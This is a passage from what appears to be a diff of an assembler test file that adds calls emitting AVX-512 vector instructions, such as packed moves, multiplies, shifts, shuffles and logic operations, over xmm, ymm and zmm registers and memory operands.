a.vpmovsxdq(zmmA, anyptr_gpB); + a.vpmovsxwd(xmmA, xmmB); + a.vpmovsxwd(xmmA, anyptr_gpB); + a.vpmovsxwd(ymmA, xmmB); + a.vpmovsxwd(ymmA, anyptr_gpB); + a.vpmovsxwd(zmmA, ymmB); + a.vpmovsxwd(zmmA, anyptr_gpB); + a.vpmovsxwq(xmmA, xmmB); + a.vpmovsxwq(xmmA, anyptr_gpB); + a.vpmovsxwq(ymmA, xmmB); + a.vpmovsxwq(ymmA, anyptr_gpB); + a.vpmovsxwq(zmmA, xmmB); + a.vpmovsxwq(zmmA, anyptr_gpB); + a.vpmovusdb(xmmA, xmmB); + a.vpmovusdb(anyptr_gpA, xmmB); + a.vpmovusdb(xmmA, ymmB); + a.vpmovusdb(anyptr_gpA, ymmB); + a.vpmovusdb(xmmA, zmmB); + a.vpmovusdb(anyptr_gpA, zmmB); + a.vpmovusdw(xmmA, xmmB); + a.vpmovusdw(anyptr_gpA, xmmB); + a.vpmovusdw(xmmA, ymmB); + a.vpmovusdw(anyptr_gpA, ymmB); + a.vpmovusdw(ymmA, zmmB); + a.vpmovusdw(anyptr_gpA, zmmB); + a.vpmovusqb(xmmA, xmmB); + a.vpmovusqb(anyptr_gpA, xmmB); + a.vpmovusqb(xmmA, ymmB); + a.vpmovusqb(anyptr_gpA, ymmB); + a.vpmovusqb(xmmA, zmmB); + a.vpmovusqb(anyptr_gpA, zmmB); + a.vpmovusqd(xmmA, xmmB); + a.vpmovusqd(anyptr_gpA, xmmB); + a.vpmovusqd(xmmA, ymmB); + a.vpmovusqd(anyptr_gpA, ymmB); + a.vpmovusqd(ymmA, zmmB); + a.vpmovusqd(anyptr_gpA, zmmB); + a.vpmovusqw(xmmA, xmmB); + a.vpmovusqw(anyptr_gpA, xmmB); + a.vpmovusqw(xmmA, ymmB); + a.vpmovusqw(anyptr_gpA, ymmB); + a.vpmovusqw(xmmA, zmmB); + a.vpmovusqw(anyptr_gpA, zmmB); + a.vpmovuswb(xmmA, xmmB); + a.vpmovuswb(anyptr_gpA, xmmB); + a.vpmovuswb(xmmA, ymmB); + a.vpmovuswb(anyptr_gpA, ymmB); + a.vpmovuswb(ymmA, zmmB); + a.vpmovuswb(anyptr_gpA, zmmB); + a.vpmovw2m(kA, xmmB); + a.vpmovw2m(kA, ymmB); + a.vpmovw2m(kA, zmmB); + a.vpmovwb(xmmA, xmmB); + a.vpmovwb(anyptr_gpA, xmmB); + a.vpmovwb(xmmA, ymmB); + a.vpmovwb(anyptr_gpA, ymmB); + a.vpmovwb(ymmA, zmmB); + a.vpmovwb(anyptr_gpA, zmmB); + a.vpmovzxbd(xmmA, xmmB); + a.vpmovzxbd(xmmA, anyptr_gpB); + a.vpmovzxbd(ymmA, xmmB); + a.vpmovzxbd(ymmA, anyptr_gpB); + a.vpmovzxbd(zmmA, xmmB); + a.vpmovzxbd(zmmA, anyptr_gpB); + a.vpmovzxbq(xmmA, xmmB); + a.vpmovzxbq(xmmA, anyptr_gpB); + a.vpmovzxbq(ymmA, xmmB); + a.vpmovzxbq(ymmA, anyptr_gpB); + a.vpmovzxbq(zmmA, xmmB); + a.vpmovzxbq(zmmA, anyptr_gpB); + a.vpmovzxbw(xmmA, xmmB); + a.vpmovzxbw(xmmA, anyptr_gpB); + a.vpmovzxbw(ymmA, xmmB); + a.vpmovzxbw(ymmA, anyptr_gpB); + a.vpmovzxbw(zmmA, ymmB); + a.vpmovzxbw(zmmA, anyptr_gpB); + a.vpmovzxdq(xmmA, xmmB); + a.vpmovzxdq(xmmA, anyptr_gpB); + a.vpmovzxdq(ymmA, xmmB); + a.vpmovzxdq(ymmA, anyptr_gpB); + a.vpmovzxdq(zmmA, xmmB); + a.vpmovzxdq(zmmA, anyptr_gpB); + a.vpmovzxwd(xmmA, xmmB); + a.vpmovzxwd(xmmA, anyptr_gpB); + a.vpmovzxwd(ymmA, xmmB); + a.vpmovzxwd(ymmA, anyptr_gpB); + a.vpmovzxwd(zmmA, ymmB); + a.vpmovzxwd(zmmA, anyptr_gpB); + a.vpmovzxwq(xmmA, xmmB); + a.vpmovzxwq(xmmA, anyptr_gpB); + a.vpmovzxwq(ymmA, xmmB); + a.vpmovzxwq(ymmA, anyptr_gpB); + a.vpmovzxwq(zmmA, xmmB); + a.vpmovzxwq(zmmA, anyptr_gpB); + a.vpmuldq(xmmA, xmmB, xmmC); + a.vpmuldq(xmmA, xmmB, anyptr_gpC); + a.vpmuldq(ymmA, ymmB, ymmC); + a.vpmuldq(ymmA, ymmB, anyptr_gpC); + a.vpmuldq(zmmA, zmmB, zmmC); + a.vpmuldq(zmmA, zmmB, anyptr_gpC); + a.vpmulhrsw(xmmA, xmmB, xmmC); + a.vpmulhrsw(xmmA, xmmB, anyptr_gpC); + a.vpmulhrsw(ymmA, ymmB, ymmC); + a.vpmulhrsw(ymmA, ymmB, anyptr_gpC); + a.vpmulhrsw(zmmA, zmmB, zmmC); + a.vpmulhrsw(zmmA, zmmB, anyptr_gpC); + a.vpmulhuw(xmmA, xmmB, xmmC); + a.vpmulhuw(xmmA, xmmB, anyptr_gpC); + a.vpmulhuw(ymmA, ymmB, ymmC); + a.vpmulhuw(ymmA, ymmB, anyptr_gpC); + a.vpmulhuw(zmmA, zmmB, zmmC); + a.vpmulhuw(zmmA, zmmB, anyptr_gpC); + a.vpmulhw(xmmA, xmmB, xmmC); + a.vpmulhw(xmmA, xmmB, anyptr_gpC); + a.vpmulhw(ymmA, ymmB, ymmC); + a.vpmulhw(ymmA, ymmB, anyptr_gpC); + a.vpmulhw(zmmA, zmmB, zmmC); + a.vpmulhw(zmmA, zmmB, anyptr_gpC); + a.vpmulld(xmmA, xmmB, xmmC); + a.vpmulld(xmmA, xmmB, anyptr_gpC); + a.vpmulld(ymmA, ymmB, ymmC); + a.vpmulld(ymmA, ymmB, anyptr_gpC); + a.vpmulld(zmmA, zmmB, zmmC); + a.vpmulld(zmmA, zmmB, anyptr_gpC); + a.vpmullq(xmmA, xmmB, xmmC); + a.vpmullq(xmmA, xmmB, anyptr_gpC); + a.vpmullq(ymmA, ymmB, ymmC); + a.vpmullq(ymmA, ymmB, anyptr_gpC); + a.vpmullq(zmmA, zmmB, zmmC); + a.vpmullq(zmmA, zmmB, anyptr_gpC); + a.vpmullw(xmmA, xmmB, xmmC); + a.vpmullw(xmmA, xmmB, anyptr_gpC); + a.vpmullw(ymmA, ymmB, ymmC); + a.vpmullw(ymmA, ymmB, anyptr_gpC); + a.vpmullw(zmmA, zmmB, zmmC); + a.vpmullw(zmmA, zmmB, anyptr_gpC); + a.vpmultishiftqb(xmmA, xmmB, xmmC); + a.vpmultishiftqb(xmmA, xmmB, anyptr_gpC); + a.vpmultishiftqb(ymmA, ymmB, ymmC); + a.vpmultishiftqb(ymmA, ymmB, anyptr_gpC); + a.vpmultishiftqb(zmmA, zmmB, zmmC); + a.vpmultishiftqb(zmmA, zmmB, anyptr_gpC); + a.vpmuludq(xmmA, xmmB, xmmC); + a.vpmuludq(xmmA, xmmB, anyptr_gpC); + a.vpmuludq(ymmA, ymmB, ymmC); + a.vpmuludq(ymmA, ymmB, anyptr_gpC); + a.vpmuludq(zmmA, zmmB, zmmC); + a.vpmuludq(zmmA, zmmB, anyptr_gpC); + a.vpopcntd(zmmA, zmmB); + a.vpopcntd(zmmA, anyptr_gpB); + a.vpopcntq(zmmA, zmmB); + a.vpopcntq(zmmA, anyptr_gpB); + a.vpord(xmmA, xmmB, xmmC); + a.vpord(xmmA, xmmB, anyptr_gpC); + a.vpord(ymmA, ymmB, ymmC); + a.vpord(ymmA, ymmB, anyptr_gpC); + a.vpord(zmmA, zmmB, zmmC); + a.vpord(zmmA, zmmB, anyptr_gpC); + a.vporq(xmmA, xmmB, xmmC); + a.vporq(xmmA, xmmB, anyptr_gpC); + a.vporq(ymmA, ymmB, ymmC); + a.vporq(ymmA, ymmB, anyptr_gpC); + a.vporq(zmmA, zmmB, zmmC); + a.vporq(zmmA, zmmB, anyptr_gpC); + a.vprold(xmmA, xmmB, 0); + a.vprold(xmmA, anyptr_gpB, 0); + a.vprold(ymmA, ymmB, 0); + a.vprold(ymmA, anyptr_gpB, 0); + a.vprold(zmmA, zmmB, 0); + a.vprold(zmmA, anyptr_gpB, 0); + a.vprolq(xmmA, xmmB, 0); + a.vprolq(xmmA, anyptr_gpB, 0); + a.vprolq(ymmA, ymmB, 0); + a.vprolq(ymmA, anyptr_gpB, 0); + a.vprolq(zmmA, zmmB, 0); + a.vprolq(zmmA, anyptr_gpB, 0); + a.vprolvd(xmmA, xmmB, xmmC); + a.vprolvd(xmmA, xmmB, anyptr_gpC); + a.vprolvd(ymmA, ymmB, ymmC); + a.vprolvd(ymmA, ymmB, anyptr_gpC); + a.vprolvd(zmmA, zmmB, zmmC); + a.vprolvd(zmmA, zmmB, anyptr_gpC); + a.vprolvq(xmmA, xmmB, xmmC); + a.vprolvq(xmmA, xmmB, anyptr_gpC); + a.vprolvq(ymmA, ymmB, ymmC); + a.vprolvq(ymmA, ymmB, anyptr_gpC); + a.vprolvq(zmmA, zmmB, zmmC); + a.vprolvq(zmmA, zmmB, anyptr_gpC); + a.vprord(xmmA, xmmB, 0); + a.vprord(xmmA, anyptr_gpB, 0); + a.vprord(ymmA, ymmB, 0); + a.vprord(ymmA, anyptr_gpB, 0); + a.vprord(zmmA, zmmB, 0); + a.vprord(zmmA, anyptr_gpB, 0); + a.vprorq(xmmA, xmmB, 0); + a.vprorq(xmmA, anyptr_gpB, 0); + a.vprorq(ymmA, ymmB, 0); + a.vprorq(ymmA, anyptr_gpB, 0); + a.vprorq(zmmA, zmmB, 0); + a.vprorq(zmmA, anyptr_gpB, 0); + a.vprorvd(xmmA, xmmB, xmmC); + a.vprorvd(xmmA, xmmB, anyptr_gpC); + a.vprorvd(ymmA, ymmB, ymmC); + a.vprorvd(ymmA, ymmB, anyptr_gpC); + a.vprorvd(zmmA, zmmB, zmmC); + a.vprorvd(zmmA, zmmB, anyptr_gpC); + a.vprorvq(xmmA, xmmB, xmmC); + a.vprorvq(xmmA, xmmB, anyptr_gpC); + a.vprorvq(ymmA, ymmB, ymmC); + a.vprorvq(ymmA, ymmB, anyptr_gpC); + a.vprorvq(zmmA, zmmB, zmmC); + a.vprorvq(zmmA, zmmB, anyptr_gpC); + a.vpsadbw(xmmA, xmmB, xmmC); + a.vpsadbw(xmmA, xmmB, anyptr_gpC); + a.vpsadbw(ymmA, ymmB, ymmC); + a.vpsadbw(ymmA, ymmB, anyptr_gpC); + a.vpsadbw(zmmA, zmmB, zmmC); + a.vpsadbw(zmmA, zmmB, anyptr_gpC); + a.vpscatterdd(vx_ptr, xmmB); + a.vpscatterdd(vy_ptr, ymmB); + a.vpscatterdd(vz_ptr, zmmB); + a.vpscatterdq(vx_ptr, xmmB); + a.vpscatterdq(vy_ptr, ymmB); + a.vpscatterdq(vz_ptr, zmmB); + a.vpscatterqd(vx_ptr, xmmB); + a.vpscatterqd(vy_ptr, xmmB); + a.vpscatterqd(vz_ptr, ymmB); + a.vpscatterqq(vx_ptr, xmmB); + a.vpscatterqq(vy_ptr, ymmB); + a.vpscatterqq(vz_ptr, zmmB); + a.vpshufb(xmmA, xmmB, xmmC); + a.vpshufb(xmmA, xmmB, anyptr_gpC); + a.vpshufb(ymmA, ymmB, ymmC); + a.vpshufb(ymmA, ymmB, anyptr_gpC); + a.vpshufb(zmmA, zmmB, zmmC); + a.vpshufb(zmmA, zmmB, anyptr_gpC); + a.vpshufd(xmmA, xmmB, 0); + a.vpshufd(xmmA, anyptr_gpB, 0); + a.vpshufd(ymmA, ymmB, 0); + a.vpshufd(ymmA, anyptr_gpB, 0); + a.vpshufd(zmmA, zmmB, 0); + a.vpshufd(zmmA, anyptr_gpB, 0); + a.vpshufhw(xmmA, xmmB, 0); + a.vpshufhw(xmmA, anyptr_gpB, 0); + a.vpshufhw(ymmA, ymmB, 0); + a.vpshufhw(ymmA, anyptr_gpB, 0); + a.vpshufhw(zmmA, zmmB, 0); + a.vpshufhw(zmmA, anyptr_gpB, 0); + a.vpshuflw(xmmA, xmmB, 0); + a.vpshuflw(xmmA, anyptr_gpB, 0); + a.vpshuflw(ymmA, ymmB, 0); + a.vpshuflw(ymmA, anyptr_gpB, 0); + a.vpshuflw(zmmA, zmmB, 0); + a.vpshuflw(zmmA, anyptr_gpB, 0); + a.vpslld(xmmA, xmmB, xmmC); + a.vpslld(xmmA, xmmB, anyptr_gpC); + a.vpslld(xmmA, xmmB, 0); + a.vpslld(xmmA, anyptr_gpB, 0); + a.vpslld(ymmA, ymmB, xmmC); + a.vpslld(ymmA, ymmB, anyptr_gpC); + a.vpslld(ymmA, ymmB, 0); + a.vpslld(ymmA, anyptr_gpB, 0); + a.vpslld(zmmA, zmmB, xmmC); + a.vpslld(zmmA, zmmB, anyptr_gpC); + a.vpslld(zmmA, zmmB, 0); + a.vpslld(zmmA, anyptr_gpB, 0); + a.vpslldq(xmmA, xmmB, 0); + a.vpslldq(xmmA, anyptr_gpB, 0); + a.vpslldq(ymmA, ymmB, 0); + a.vpslldq(ymmA, anyptr_gpB, 0); + a.vpslldq(zmmA, zmmB, 0); + a.vpslldq(zmmA, anyptr_gpB, 0); + a.vpsllq(xmmA, xmmB, xmmC); + a.vpsllq(xmmA, xmmB, anyptr_gpC); + a.vpsllq(xmmA, xmmB, 0); + a.vpsllq(xmmA, anyptr_gpB, 0); + a.vpsllq(ymmA, ymmB, xmmC); + a.vpsllq(ymmA, ymmB, anyptr_gpC); + a.vpsllq(ymmA, ymmB, 0); + a.vpsllq(ymmA, anyptr_gpB, 0); + a.vpsllq(zmmA, zmmB, xmmC); + a.vpsllq(zmmA, zmmB, anyptr_gpC); + a.vpsllq(zmmA, zmmB, 0); + a.vpsllq(zmmA, anyptr_gpB, 0); + a.vpsllvd(xmmA, xmmB, xmmC); + a.vpsllvd(xmmA, xmmB, anyptr_gpC); + a.vpsllvd(ymmA, ymmB, ymmC); + a.vpsllvd(ymmA, ymmB, anyptr_gpC); + a.vpsllvd(zmmA, zmmB, zmmC); + a.vpsllvd(zmmA, zmmB, anyptr_gpC); + a.vpsllvq(xmmA, xmmB, xmmC); + a.vpsllvq(xmmA, xmmB, anyptr_gpC); + a.vpsllvq(ymmA, ymmB, ymmC); + a.vpsllvq(ymmA, ymmB, anyptr_gpC); + a.vpsllvq(zmmA, zmmB, zmmC); + a.vpsllvq(zmmA, zmmB, anyptr_gpC); + a.vpsllvw(xmmA, xmmB, xmmC); + a.vpsllvw(xmmA, xmmB, anyptr_gpC); + a.vpsllvw(ymmA, ymmB, ymmC); + a.vpsllvw(ymmA, ymmB, anyptr_gpC); + a.vpsllvw(zmmA, zmmB, zmmC); + a.vpsllvw(zmmA, zmmB, anyptr_gpC); + a.vpsllw(xmmA, xmmB, xmmC); + a.vpsllw(xmmA, xmmB, anyptr_gpC); + a.vpsllw(xmmA, xmmB, 0); + a.vpsllw(xmmA, anyptr_gpB, 0); + a.vpsllw(ymmA, ymmB, xmmC); + a.vpsllw(ymmA, ymmB, anyptr_gpC); + a.vpsllw(ymmA, ymmB, 0); + a.vpsllw(ymmA, anyptr_gpB, 0); + a.vpsllw(zmmA, zmmB, xmmC); + a.vpsllw(zmmA, zmmB, anyptr_gpC); + a.vpsllw(zmmA, zmmB, 0); + a.vpsllw(zmmA, anyptr_gpB, 0); + a.vpsrad(xmmA, xmmB, xmmC); + a.vpsrad(xmmA, xmmB, anyptr_gpC); + a.vpsrad(xmmA, xmmB, 0); + a.vpsrad(xmmA, anyptr_gpB, 0); + a.vpsrad(ymmA, ymmB, xmmC); + a.vpsrad(ymmA, ymmB, anyptr_gpC); + a.vpsrad(ymmA, ymmB, 0); + a.vpsrad(ymmA, anyptr_gpB, 0); + a.vpsrad(zmmA, zmmB, xmmC); + a.vpsrad(zmmA, zmmB, anyptr_gpC); + a.vpsrad(zmmA, zmmB, 0); + a.vpsrad(zmmA, anyptr_gpB, 0); + a.vpsraq(xmmA, xmmB, xmmC); + a.vpsraq(xmmA, xmmB, anyptr_gpC); + a.vpsraq(xmmA, xmmB, 0); + a.vpsraq(xmmA, anyptr_gpB, 0); + a.vpsraq(ymmA, ymmB, xmmC); + a.vpsraq(ymmA, ymmB, anyptr_gpC); + a.vpsraq(ymmA, ymmB, 0); + a.vpsraq(ymmA, anyptr_gpB, 0); + a.vpsraq(zmmA, zmmB, xmmC); + a.vpsraq(zmmA, zmmB, anyptr_gpC); + a.vpsraq(zmmA, zmmB, 0); + a.vpsraq(zmmA, anyptr_gpB, 0); + a.vpsravd(xmmA, xmmB, xmmC); + a.vpsravd(xmmA, xmmB, anyptr_gpC); + a.vpsravd(ymmA, ymmB, ymmC); + a.vpsravd(ymmA, ymmB, anyptr_gpC); + a.vpsravd(zmmA, zmmB, zmmC); + a.vpsravd(zmmA, zmmB, anyptr_gpC); + a.vpsravq(xmmA, xmmB, xmmC); + a.vpsravq(xmmA, xmmB, anyptr_gpC); + a.vpsravq(ymmA, ymmB, ymmC); + a.vpsravq(ymmA, ymmB, anyptr_gpC); + a.vpsravq(zmmA, zmmB, zmmC); + a.vpsravq(zmmA, zmmB, anyptr_gpC); + a.vpsravw(xmmA, xmmB, xmmC); + a.vpsravw(xmmA, xmmB, anyptr_gpC); + a.vpsravw(ymmA, ymmB, ymmC); + a.vpsravw(ymmA, ymmB, anyptr_gpC); + a.vpsravw(zmmA, zmmB, zmmC); + a.vpsravw(zmmA, zmmB, anyptr_gpC); + a.vpsraw(xmmA, xmmB, xmmC); + a.vpsraw(xmmA, xmmB, anyptr_gpC); + a.vpsraw(xmmA, xmmB, 0); + a.vpsraw(xmmA, anyptr_gpB, 0); + a.vpsraw(ymmA, ymmB, xmmC); + a.vpsraw(ymmA, ymmB, anyptr_gpC); + a.vpsraw(ymmA, ymmB, 0); + a.vpsraw(ymmA, anyptr_gpB, 0); + a.vpsraw(zmmA, zmmB, xmmC); + a.vpsraw(zmmA, zmmB, anyptr_gpC); + a.vpsraw(zmmA, zmmB, 0); + a.vpsraw(zmmA, anyptr_gpB, 0); + a.vpsrld(xmmA, xmmB, xmmC); + a.vpsrld(xmmA, xmmB, anyptr_gpC); + a.vpsrld(xmmA, xmmB, 0); + a.vpsrld(xmmA, anyptr_gpB, 0); + a.vpsrld(ymmA, ymmB, xmmC); + a.vpsrld(ymmA, ymmB, anyptr_gpC); + a.vpsrld(ymmA, ymmB, 0); + a.vpsrld(ymmA, anyptr_gpB, 0); + a.vpsrld(zmmA, zmmB, xmmC); + a.vpsrld(zmmA, zmmB, anyptr_gpC); + a.vpsrld(zmmA, zmmB, 0); + a.vpsrld(zmmA, anyptr_gpB, 0); + a.vpsrldq(xmmA, xmmB, 0); + a.vpsrldq(xmmA, anyptr_gpB, 0); + a.vpsrldq(ymmA, ymmB, 0); + a.vpsrldq(ymmA, anyptr_gpB, 0); + a.vpsrldq(zmmA, zmmB, 0); + a.vpsrldq(zmmA, anyptr_gpB, 0); + a.vpsrlq(xmmA, xmmB, xmmC); + a.vpsrlq(xmmA, xmmB, anyptr_gpC); + a.vpsrlq(xmmA, xmmB, 0); + a.vpsrlq(xmmA, anyptr_gpB, 0); + a.vpsrlq(ymmA, ymmB, xmmC); + a.vpsrlq(ymmA, ymmB, anyptr_gpC); + a.vpsrlq(ymmA, ymmB, 0); + a.vpsrlq(ymmA, anyptr_gpB, 0); + a.vpsrlq(zmmA, zmmB, xmmC); + a.vpsrlq(zmmA, zmmB, anyptr_gpC); + a.vpsrlq(zmmA, zmmB, 0); + a.vpsrlq(zmmA, anyptr_gpB, 0); + a.vpsrlvd(xmmA, xmmB, xmmC); + a.vpsrlvd(xmmA, xmmB, anyptr_gpC); + a.vpsrlvd(ymmA, ymmB, ymmC); + a.vpsrlvd(ymmA, ymmB, anyptr_gpC); + a.vpsrlvd(zmmA, zmmB, zmmC); + a.vpsrlvd(zmmA, zmmB, anyptr_gpC); + a.vpsrlvq(xmmA, xmmB, xmmC); + a.vpsrlvq(xmmA, xmmB, anyptr_gpC); + a.vpsrlvq(ymmA, ymmB, ymmC); + a.vpsrlvq(ymmA, ymmB, anyptr_gpC); + a.vpsrlvq(zmmA, zmmB, zmmC); + a.vpsrlvq(zmmA, zmmB, anyptr_gpC); + a.vpsrlvw(xmmA, xmmB, xmmC); + a.vpsrlvw(xmmA, xmmB, anyptr_gpC); + a.vpsrlvw(ymmA, ymmB, ymmC); + a.vpsrlvw(ymmA, ymmB, anyptr_gpC); + a.vpsrlvw(zmmA, zmmB, zmmC); + a.vpsrlvw(zmmA, zmmB, anyptr_gpC); + a.vpsrlw(xmmA, xmmB, xmmC); + a.vpsrlw(xmmA, xmmB, anyptr_gpC); + a.vpsrlw(xmmA, xmmB, 0); + a.vpsrlw(xmmA, anyptr_gpB, 0); + a.vpsrlw(ymmA, ymmB, xmmC); + a.vpsrlw(ymmA, ymmB, anyptr_gpC); + a.vpsrlw(ymmA, ymmB, 0); + a.vpsrlw(ymmA, anyptr_gpB, 0); + a.vpsrlw(zmmA, zmmB, xmmC); + a.vpsrlw(zmmA, zmmB, anyptr_gpC); + a.vpsrlw(zmmA, zmmB, 0); + a.vpsrlw(zmmA, anyptr_gpB, 0); + a.vpsubb(xmmA, xmmB, xmmC); + a.vpsubb(xmmA, xmmB, anyptr_gpC); + a.vpsubb(ymmA, ymmB, ymmC); + a.vpsubb(ymmA, ymmB, anyptr_gpC); + a.vpsubb(zmmA, zmmB, zmmC); + a.vpsubb(zmmA, zmmB, anyptr_gpC); + a.vpsubd(xmmA, xmmB, xmmC); + a.vpsubd(xmmA, xmmB, anyptr_gpC); + a.vpsubd(ymmA, ymmB, ymmC); + a.vpsubd(ymmA, ymmB, anyptr_gpC); + a.vpsubd(zmmA, zmmB, zmmC); + a.vpsubd(zmmA, zmmB, anyptr_gpC); + a.vpsubq(xmmA, xmmB, xmmC); + a.vpsubq(xmmA, xmmB, anyptr_gpC); + a.vpsubq(ymmA, ymmB, ymmC); + a.vpsubq(ymmA, ymmB, anyptr_gpC); + a.vpsubq(zmmA, zmmB, zmmC); + a.vpsubq(zmmA, zmmB, anyptr_gpC); + a.vpsubsb(xmmA, xmmB, xmmC); + a.vpsubsb(xmmA, xmmB, anyptr_gpC); + a.vpsubsb(ymmA, ymmB, ymmC); + a.vpsubsb(ymmA, ymmB, anyptr_gpC); + a.vpsubsb(zmmA, zmmB, zmmC); + a.vpsubsb(zmmA, zmmB, anyptr_gpC); + a.vpsubsw(xmmA, xmmB, xmmC); + a.vpsubsw(xmmA, xmmB, anyptr_gpC); + a.vpsubsw(ymmA, ymmB, ymmC); + a.vpsubsw(ymmA, ymmB, anyptr_gpC); + a.vpsubsw(zmmA, zmmB, zmmC); + a.vpsubsw(zmmA, zmmB, anyptr_gpC); + a.vpsubusb(xmmA, xmmB, xmmC); + a.vpsubusb(xmmA, xmmB, anyptr_gpC); + a.vpsubusb(ymmA, ymmB, ymmC); + a.vpsubusb(ymmA, ymmB, anyptr_gpC); + a.vpsubusb(zmmA, zmmB, zmmC); + a.vpsubusb(zmmA, zmmB, anyptr_gpC); + a.vpsubusw(xmmA, xmmB, xmmC); + a.vpsubusw(xmmA, xmmB, anyptr_gpC); + a.vpsubusw(ymmA, ymmB, ymmC); + a.vpsubusw(ymmA, ymmB, anyptr_gpC); + a.vpsubusw(zmmA, zmmB, zmmC); + a.vpsubusw(zmmA, zmmB, anyptr_gpC); + a.vpsubw(xmmA, xmmB, xmmC); + a.vpsubw(xmmA, xmmB, anyptr_gpC); + a.vpsubw(ymmA, ymmB, ymmC); + a.vpsubw(ymmA, ymmB, anyptr_gpC); + a.vpsubw(zmmA, zmmB, zmmC); + a.vpsubw(zmmA, zmmB, anyptr_gpC); + a.vpternlogd(xmmA, xmmB, xmmC, 0); + a.vpternlogd(xmmA, xmmB, anyptr_gpC, 0); + a.vpternlogd(ymmA, ymmB, ymmC, 0); + a.vpternlogd(ymmA, ymmB, anyptr_gpC, 0); + a.vpternlogd(zmmA, zmmB, zmmC, 0); + a.vpternlogd(zmmA, zmmB, anyptr_gpC, 0); + a.vpternlogq(xmmA, xmmB, xmmC, 0); + a.vpternlogq(xmmA, xmmB, anyptr_gpC, 0); + a.vpternlogq(ymmA, ymmB, ymmC, 0); + a.vpternlogq(ymmA, ymmB, anyptr_gpC, 0); + a.vpternlogq(zmmA, zmmB, zmmC, 0); + a.vpternlogq(zmmA, zmmB, anyptr_gpC, 0); + a.vptestmb(kA, xmmB, xmmC); + a.vptestmb(kA, xmmB, anyptr_gpC); + a.vptestmb(kA, ymmB, ymmC); + a.vptestmb(kA, ymmB, anyptr_gpC); + a.vptestmb(kA, zmmB, zmmC); + a.vptestmb(kA, zmmB, anyptr_gpC); + a.vptestmd(kA, xmmB, xmmC); + a.vptestmd(kA, xmmB, anyptr_gpC); + a.vptestmd(kA, ymmB, ymmC); + a.vptestmd(kA, ymmB, anyptr_gpC); + a.vptestmd(kA, zmmB, zmmC); + a.vptestmd(kA, zmmB, anyptr_gpC); + a.vptestmq(kA, xmmB, xmmC); + a.vptestmq(kA, xmmB, anyptr_gpC); + a.vptestmq(kA, ymmB, ymmC); + a.vptestmq(kA, ymmB, anyptr_gpC); + a.vptestmq(kA, zmmB, zmmC); + a.vptestmq(kA, zmmB, anyptr_gpC); + a.vptestmw(kA, xmmB, xmmC); + a.vptestmw(kA, xmmB, anyptr_gpC); + a.vptestmw(kA, ymmB, ymmC); + a.vptestmw(kA, ymmB, anyptr_gpC); + a.vptestmw(kA, zmmB, zmmC); + a.vptestmw(kA, zmmB, anyptr_gpC); + a.vptestnmb(kA, xmmB, xmmC); + a.vptestnmb(kA, xmmB, anyptr_gpC); + a.vptestnmb(kA, ymmB, ymmC); + a.vptestnmb(kA, ymmB, anyptr_gpC); + a.vptestnmb(kA, zmmB, zmmC); + a.vptestnmb(kA, zmmB, anyptr_gpC); + a.vptestnmd(kA, xmmB, xmmC); + a.vptestnmd(kA, xmmB, anyptr_gpC); + a.vptestnmd(kA, ymmB, ymmC); + a.vptestnmd(kA, ymmB, anyptr_gpC); + a.vptestnmd(kA, zmmB, zmmC); + a.vptestnmd(kA, zmmB, anyptr_gpC); + a.vptestnmq(kA, xmmB, xmmC); + a.vptestnmq(kA, xmmB, anyptr_gpC); + a.vptestnmq(kA, ymmB, ymmC); + a.vptestnmq(kA, ymmB, anyptr_gpC); + a.vptestnmq(kA, zmmB, zmmC); + a.vptestnmq(kA, zmmB, anyptr_gpC); + a.vptestnmw(kA, xmmB, xmmC); + a.vptestnmw(kA, xmmB, anyptr_gpC); + a.vptestnmw(kA, ymmB, ymmC); + a.vptestnmw(kA, ymmB, anyptr_gpC); + a.vptestnmw(kA, zmmB, zmmC); + a.vptestnmw(kA, zmmB, anyptr_gpC); + a.vpunpckhbw(xmmA, xmmB, xmmC); + a.vpunpckhbw(xmmA, xmmB, anyptr_gpC); + a.vpunpckhbw(ymmA, ymmB, ymmC); + a.vpunpckhbw(ymmA, ymmB, anyptr_gpC); + a.vpunpckhbw(zmmA, zmmB, zmmC); + a.vpunpckhbw(zmmA, zmmB, anyptr_gpC); + a.vpunpckhdq(xmmA, xmmB, xmmC); + a.vpunpckhdq(xmmA, xmmB, anyptr_gpC); + a.vpunpckhdq(ymmA, ymmB, ymmC); + a.vpunpckhdq(ymmA, ymmB, anyptr_gpC); + a.vpunpckhdq(zmmA, zmmB, zmmC); + a.vpunpckhdq(zmmA, zmmB, anyptr_gpC); + a.vpunpckhqdq(xmmA, xmmB, xmmC); + a.vpunpckhqdq(xmmA, xmmB, anyptr_gpC); + a.vpunpckhqdq(ymmA, ymmB, ymmC); + a.vpunpckhqdq(ymmA, ymmB, anyptr_gpC); + a.vpunpckhqdq(zmmA, zmmB, zmmC); + a.vpunpckhqdq(zmmA, zmmB, anyptr_gpC); + a.vpunpckhwd(xmmA, xmmB, xmmC); + a.vpunpckhwd(xmmA, xmmB, anyptr_gpC); + a.vpunpckhwd(ymmA, ymmB, ymmC); + a.vpunpckhwd(ymmA, ymmB, anyptr_gpC); + a.vpunpckhwd(zmmA, zmmB, zmmC); + a.vpunpckhwd(zmmA, zmmB, anyptr_gpC); + a.vpunpcklbw(xmmA, xmmB, xmmC); + a.vpunpcklbw(xmmA, xmmB, anyptr_gpC); + a.vpunpcklbw(ymmA, ymmB, ymmC); + a.vpunpcklbw(ymmA, ymmB, anyptr_gpC); + a.vpunpcklbw(zmmA, zmmB, zmmC); + a.vpunpcklbw(zmmA, zmmB, anyptr_gpC); + a.vpunpckldq(xmmA, xmmB, xmmC); + a.vpunpckldq(xmmA, xmmB, anyptr_gpC); + a.vpunpckldq(ymmA, ymmB, ymmC); + a.vpunpckldq(ymmA, ymmB, anyptr_gpC); + a.vpunpckldq(zmmA, zmmB, zmmC); + a.vpunpckldq(zmmA, zmmB, anyptr_gpC); + a.vpunpcklqdq(xmmA, xmmB, xmmC); + a.vpunpcklqdq(xmmA, xmmB, anyptr_gpC); + a.vpunpcklqdq(ymmA, ymmB, ymmC); + a.vpunpcklqdq(ymmA, ymmB, anyptr_gpC); + a.vpunpcklqdq(zmmA, zmmB, zmmC); + a.vpunpcklqdq(zmmA, zmmB, anyptr_gpC); + a.vpunpcklwd(xmmA, xmmB, xmmC); + a.vpunpcklwd(xmmA, xmmB, anyptr_gpC); + a.vpunpcklwd(ymmA, ymmB, ymmC); + a.vpunpcklwd(ymmA, ymmB, anyptr_gpC); + a.vpunpcklwd(zmmA, zmmB, zmmC); + a.vpunpcklwd(zmmA, zmmB, anyptr_gpC); + a.vpxord(xmmA, xmmB, xmmC); + a.vpxord(xmmA, xmmB, anyptr_gpC); + a.vpxord(ymmA, ymmB, ymmC); + 